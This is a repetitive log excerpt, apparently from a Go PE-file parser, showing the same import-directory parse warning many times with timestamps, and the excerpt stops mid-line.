level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:33+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:34+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:35+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:41:36+01:00 level=warning msg=failed to parse data directory Import, reason: reading 